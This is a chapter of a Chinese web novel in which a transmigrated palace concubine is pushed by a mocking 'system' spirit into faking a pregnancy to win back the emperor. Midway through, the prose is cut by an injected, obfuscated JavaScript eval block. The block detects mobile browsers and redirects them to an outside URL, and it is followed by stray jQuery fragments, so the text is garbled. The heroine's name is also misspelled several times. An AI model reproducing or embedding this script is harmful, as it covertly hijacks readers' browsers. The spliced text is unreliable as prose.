20. 一桩奇事

作品:《别撸了,朕是陛下!

    兰昭并不一定急于要现在就出来。若非形势所逼,有一件不得不线下就了结的大事,她倒还愿意再在冷宫里面苟一苟。


    此刻出来,她是真心觉得还不如呆着。


    宫女侍仆、太监丫鬟,一水儿的势利眼,乌眼鸡似的瞪着她,好像她是个带着霉菌的污秽物,他们沾上一点点就要生口疮,流恶脓似的。


    那眼前这位脑回路不知道怎么长的陛下更是不必多说。


    把她赦免出冷宫,现在又这样冰冷威严的试探着她。


    别的不说,就拿刚才捏手来看,兰昭只觉得这个男的力气怎么这么大?她在现在自己的世界哪受过这种待遇……


    就算那些男的揣着坏,也不敢弄到明面上来,要不然就是干脆直接不要脸皮的骚扰,哪像他这样,总是暗地里使些小坏!


    说他可怕吧,他的确是陛下,九五之尊的,谈笑间,兰昭九族灰飞烟灭。


    说他不可怕吧,他又老是搞些捏手骨头采兰昭一脚的上不得台面的小玩意儿。


    譬如此时此刻,兰昭眼睛带笑嘴角上扬,外人看端的是款款温柔。


    可是牙却咬得快要发出响声,一张小鹅蛋脸两侧的颌骨都凸出来了。


    你问这是为什么?当然是和这位闲的喝凉水的陛下比赛手劲!


    人怎么能无聊成这个样子?兰昭决定做些什么,扳回这个画风明显跑偏的时局!


    “陛下,此处风大,妾受不得寒,还是让妾进去再行商议吧……”她说话刻意一拐三折,娇柔做作,做足了小女儿情态,那声音里的柔媚娇软,就连旁边的大臣们听了都深感有伤风化,死命不敢抬头。


    她这样子倒是引得陛下来了兴趣,李鸣玉慢慢放开她的手,然后恢复那副帝王的凌然做派,站得笔直。


    “那就依着兰美人。”陛下圣旨一出,金口玉律,在朝的当然不敢再磋磨,跪拜的跪拜,行礼的行礼,然后自发的站成两溜排,就等着陛下走了,他们也麻溜把自己搓圆好滚蛋。


    兰昭娇滴滴羞答答的,就要去牵陛下的手。


    哼哼,按照原著剧情来讲,这时候是两人感情线一大转折点。


    原著中女主本是被人陷害送入冷宫,进冷宫之后又性情大变,男主日思夜想,终于还是力排众议,把女主从冷宫接出来。


    可是自然为时已晚,女主从此冷心冷肺,枯槁衰弱,明明正是芬芳年华,也极得陛下宠爱,但整个人却似一株被烈阳灼烧,枯萎死去的兰花。叶蕊和花瓣都奄奄一息,整个人身处宫廷,却似常伴青灯古佛旁。


    至此一直到大结局,二人的相处模式都是一个每天疯狂轰炸的炮仗和始终不置一词的哑巴。


    二人之间的误会越发根深蒂固,导致走向分走歧途的最终结局。


    而系统跟兰昭明码标价,它会保兰昭诸事无虞,但兰昭却必须要把这个故事带向圆满的结局。


    至于什么是圆满的结局,那自然是扭转,二人这死生不复相见的be结局,迎来合家欢。


    兰昭当时答应了系统的条件,也得到了自己应有的报酬,心里却怔怔良久——达成he条件,让男女主从此解开芥蒂长相厮守,那么她就可以回到现代。


    可是,她回去之后,原来真正的兰昭,那个深宫的兰美人,是否会在午夜梦回之时突然惊醒,在床笫之间悲凉的想着自己的究竟哪里多出来了一段从未经历的回忆……


    可是系统告诉兰昭,这只是本小说,并不是真实的事情,兰昭记得自己当时沉默良久,问了系统如果这就是真实的故事,那又该当如何?


    一向酷爱插科打诨,专在兰昭愤怒点上蹦迪的系统也沉默了。


    兰道记得很清楚,最后他说——如果是真的历史,那就更不用改了。


    为什么真的历史就不用改?兰州反复追问,可他连一个字也不愿意多说。


    于是兰昭记得自己沉沉的睡过去,等再睁开眼之时,冷宫还是那个冷宫,外面的世界却已天翻地覆。


    原先她被禁锢在冷宫里,只觉得明明同在一片蓝天白云之下,可是她却像是被置在阴间地狱,永远不能知道有人气的地方是流传着哪些消息。


    可是这一次醒来,他发现自己的耳朵边上始终萦绕着一团气,那是看不见摸不着的,可是就是能感觉到它在律动,在鲜活地作闹,在叽喳……


    “兰昭,兰昭,你要重获自由啦,你要出去啦,知道吗?”


    彼时兰昭刚从一场巨大的噩梦中苏醒,浑身乏力又疲软,她实在没有办法说出自己知道或是不想知道。


    于是那团气把她的沉默当成了默许。


    “诶呀,宫里会有一场大喜事,而你就是这大喜事的缔造者!整个宫殿都会因你的存在而洗刷霉气欣欣向荣。”


    “……欣欣向荣?”


    “是呀,而我会一直陪着你,我会提前告诉你这世界上会发生的每一件事,让你从此不用担心任何生命之忧。你看怎么样?”


    兰昭瞪大眼睛盯着天花板。显然她已经把这里的一切荒谬当作寻常事。


    系统,亦或是这团神秘的气体,它们都是这个世界的设定,或许创造他们的造物主,哪天一迷糊,就随便丢了他们进来。


    就这样随手搅得真正身处其间世界的人魂魄不宁,身遭巨变。


    “好,你能回答我一个问题吗?”兰昭安静地问。


    那团气呜呼一声,从兰昭的左耳边绕到了右耳边,喜悦地嗯了一声。


    “我还有多久能出去?”


    “这个宿主应该早就知道呀,改变结局的当下,立马送您回到现代生活!”


    兰昭苦笑了下,然后把一只胳膊伸出垫在自己耳边,侧着身睡了过去。


    改变结局?


    怎么办,她还是觉得不改变会更好一些。


    再然后,她就感受到那团气体突然变得狂躁,它急剧的膨胀,在空中跳跃升腾。然后变作一个个炫目欲裂的红色小烟花。


    兰昭不明觉厉,那团气体却邪笑着,发出一种根本不应该从空气里能够发出的让人毛骨悚然的声音。


    它像一个苦痛难忍,又焦躁不安醉酒的人小,在整个屋子不顾一切地横冲直撞。


    “想不想让剧情进度加快一点……快一点,你也更早能出得去?”


    这句话落在兰州的耳朵里是那样的有诱惑力,更何况,这团气体用了十足十的魅惑声音。


    它引诱,默许兰昭选择这条路,于是兰昭就这样选了。


    “上刀山,还是下火海,你说吧?”兰昭无所谓的撇撇嘴。


    “倒没那么严重,只用做一件事。”


    兰昭把目光定在空空的屋里,四处找不到一个定格点,于是干脆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404647|200301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就任由眼神胡乱的飘散。


    那团气突然尖声狂嚎,邪笑声像怨灵骤然降世。兰昭头皮发麻的同时清晰感到屋里一阵呼呼的狂野之风,从东南头一直摧枯拉朽舔舐到西北角。


    那路径并非杂乱无章,反而异常清晰,它一圈一圈的沿着这个脉络,像在勾勒什么既定的轮廓。


    最后,那团气体静止在了半空中,趁兰昭还在怔然张望之时,迎面便扑撞上来,兰昭吃痛俯身,明明并无感到实体落在身上,却偏偏浑身快被肢解似的绝望与疼痛打散。


    那样一下,恍若灵魂出窍。


    兰昭的骨骼、皮肉……到身上的每一根筋管细胞都清晰地肿胀撕裂着——那团东西已经钻到了她的体内!


    像最恶劣的侵略者一样,在她的身体里攻城略地安营扎寨。


    那一团气游龙走蛇,信马由缰。它顶到哪处,哪处便传来令人瞠目欲裂的钝痛,兰昭被折腾的实在直不起来身子,又急又恼又气,却只能趴在床板上悲哀的呼痛……


    “好了好了,宿主您快感受一下,猜猜我现在在哪儿?”


    这个声音,是叫兰昭讨厌的油滑尖利的音色,可是此刻就像被蒙上一层皮,显得沉闷不清。


    兰昭被折腾得脸煞白,太阳穴处狂跳,好半响平复了喘息声,继而眼神复杂的盯着自己的小腹处——


    “你,所谓的办法,就是这样一头扎进我的肚子里。”


    并非问句,这句清晰的陈述压抑着兰昭滔天的怒气。


    “嘻嘻,我是不是很聪明?”


    兰照紧紧攥着手心蓦地站起来。后腿顶在床板上,发出沉闷的响声。


    她忍了又忍,直到实在忍不住:“要不要我替你说完你们的计划?!”


    系统跟气团静观其变,没有接她这个问题。


    兰昭突然怒极反笑,她知道自己现在看上去一定像个疯子。


    可是她却宁愿自己真的变成疯子,这样就能不顾一切的厮杀一场,也好比这样窝窝囊囊的受气!


    “你们不会是想要借我假孕,以重新回宫,跟陛下交好?”


    她一气儿说出来,那团气突然在她的小腹里爆发出剧烈的笑声,咯咯咯笑着,真真像一个不足百日的小婴儿。


    兰照毛骨悚然,原先的怒气竟被这恶寒给生生压下去半分。


    “宿主您不知道吗?这孩子就是父母的心头血,陛下对您深爱至此,却也极容易与您两看生厌。倒不如您就假托自己有孕,这样反而能轻易改变结局……”


    “靠孩子拴住陛下。更何况还是个假孩子?”


    “您的目的是要改变be结局,又不是真要给陛下生下一个孩子,只要能坚持到改变结局,那这个孩子有或没有又有什么重要?”


    兰昭已经气的说不出来一个字了,她强忍着心中的不适,一字一顿的说了个滚。


    “宿主您现在怀着胎呢,万万不可动气……”


    兰昭:“你给我住嘴。”


    兰照被气的没招了,突然脑子里闪过一个念头,然后不顾形象的在地上开始疯狂大蹦大跳起来。


    “你是假的又怎样?看我震不死你!”


    “……”


    这一场闹剧本来该十分滑稽的展开。就在这时,突然一个太监尖利的声音在门外响起。


    奉旨接兰昭出冷宫的人来了。